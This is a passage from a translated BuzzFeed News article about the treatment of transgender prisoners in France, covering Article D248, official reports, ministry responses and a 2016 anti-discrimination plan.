On June 30, 2010, after Chloe contacted him, Jean-Marie Delarue, then controller-general of the Sites of Freedom Deprivation, published in the organization’s official newspaper a “notice regarding the support of incarcerated transgender persons.” He denounced, for one, the “lack of a driving principle,” and further issued a series of recommendations, among them that the infamous Article D248 of the criminal procedure code be modified. The letter that the Justice Minister Michèle Alliot-Marie then sent to him echoed the response of the Ministry of Justice’s spokesperson:

“In theory, and in accordance with Article D248 of the criminal procedure code, ‘men and women are to be incarcerated in separate establishments.’ In keeping with this, the prison administration must hold itself to the identification papers that are provided during the incarceration process. Yet it is possible that this identity may not correspond with their gender presentation. Given this fact, determining where a transgender person is sent is, in practice, done bearing in mind both the best interests of the person (putting them in individual cells, assigning them to parts of a prison that are more welcoming to vulnerable people, placing them in solitary confinement), and the managerial requirements of prison establishments,” Youssef Badr told BuzzFeed News.

So, even though seven years have passed since then, Sites of Freedom Deprivation’s findings thus remain largely the same. “What we said in the report from 2010 is unfortunately still relevant,” says Adeline Hazan, who has since taken the helm as controller-general.

Do recent developments when it comes to changing one’s legal gender, which remain insufficient according to certain organizations, change anything? “We don’t have enough hindsight yet regarding the application of this law,” says Giovanna Rincon, of Acceptess-T. Additionally, she says, “we still have a hard time when it comes to the procedures for people who are free, so it is fair to assume that things are going to be very complicated when it comes to those who are incarcerated. It is, after all, a request you have to put before a judge.”


Ryan Pattie / BuzzFeed

Erwann Binet and Pascale Crozon, former Socialist Party representatives, encountered this problem during the hearings for their amendment, which aimed to make it easier for trans people to change their legal gender status.

“I spoke about the situation of transgender detainees during the first meeting of the Prison Studies Group, because I had just been confronted with a testimony by a woman who had been incarcerated with men, which I found highly disturbing,” said Crozon, the former congressman for the Rhône department of France. “After that, we wrote to Jean-Jacques Urvoas and met up with him in order to explain to him that there was a real problem here. He said he would think about it, but it was near the end of that administration.”

According to Binet, there is no need for laws to improve the daily life of incarcerated transgender people — “just some simple, clear, cogent instructions from the minister of justice.”

“This situation needs to receive some attention over at the Justice Department, but up until now nobody has given it any,” he says. “Just like nobody took care of how to change one’s legal gender status, which should have been the first, indispensable step. There was real reticence on the part of the prime minister’s cabinet at the time, a desire not to budge too much on this issue.”

The Ministry of Justice disagrees: “Obviously, we can’t just send out a memorandum for a dozen people,” Youssef Badr says.

Will the pressure have to come from abroad as France continues to regularly be condemned by the European Human Rights Court for its prison conditions, as well as for the way that it treats transgender people? In January 2016, a special reporter for the United Nations presented a report to the Human Rights Council regarding “torture and other cruel, inhumane, or degrading treatments or sentences, and the way in which they specifically affect women and the LGBT community.”

Meanwhile, other countries are contemplating evolving in ways that have been seen as more or less beneficial. In 2010, Italy was planning on opening up a prison in Pozzale, Tuscany, that would only house trans people, but the project wound up going nowhere. For François Bès of the International Prison Observatory, it was “counterproductive, because it would still foster discrimination … in creating ghettos, you deprive people of socialization,” he says.

“In Colombia, in Argentina, or Ecuador, on the other hand, the standard framework you have is fairly forward-thinking,” says Jean-Sébastien Blanc, an adviser on matters of prison detention for the Geneva-based Organization for the Prevention of Torture. “Prison rules and regulations recommend that placement be decided according to a person’s perceived gender, and by consulting those involved,” he says. “But there is nevertheless a large gap between this progressive legal framework and the reality on the ground.”

Does France need a media figure like Chelsea Manning in the US for the powers that be to start moving forward on the matter? In June 2016, the French government announced that it would be putting into place a “plan advocating against hatred and discrimination toward LGBT people,” collaboratively drawn up with the heads of the Prison Administration and the Ministry of Justice. “We are, more specifically, mobilizing for axis number 5 of the 2nd priority, to ‘continue to improve the treatment of freedom-deprived LGBT people,”’ Badr says. The plan involves three points:

  • Putting the question of anti-LGBT acts on the agenda of prison surveillance commissions once a year;
  • Favoring, when it is in the interest of and in order to protect those involved, and taking into account the preservation of order in the correctional facility, individual cells for persons who are endangered by their sexual orientation or gender identity, avoiding inasmuch as possible putting them into separate quarters;
  • Allowing the number of a hotline for victims of anti-LGBT acts to be added to the list of numbers available to detainees at telephone stations inside correctional facilities (calls are free and anonymous).

However, of the annual budget of 1.5 million euros that’s been allotted for the plan, it is impossible to know how much will be set aside for the aforementioned axis number 5: “Those numbers are not meant to be communicated to the public,” the spokesperson for the Ministry of Justice says. The Ministry of Justice could not provide details of these nonmandatory measures, or about when they will be put into effect.

The completion of the full plan was only supposed to take three years. But a year and a half after this plan was first was announced, the projects are still being reviewed by the board of the prison administration.


Ryan Pattie / BuzzFeed

Because prison is a taboo subject in France, a black hole when it comes to media content, and often a source of shame for the country, BuzzFeed dubbed the week of Dec. 11–17, 2017, “Prison Week.” >> You can find all our articles here.

This post was translated from French.

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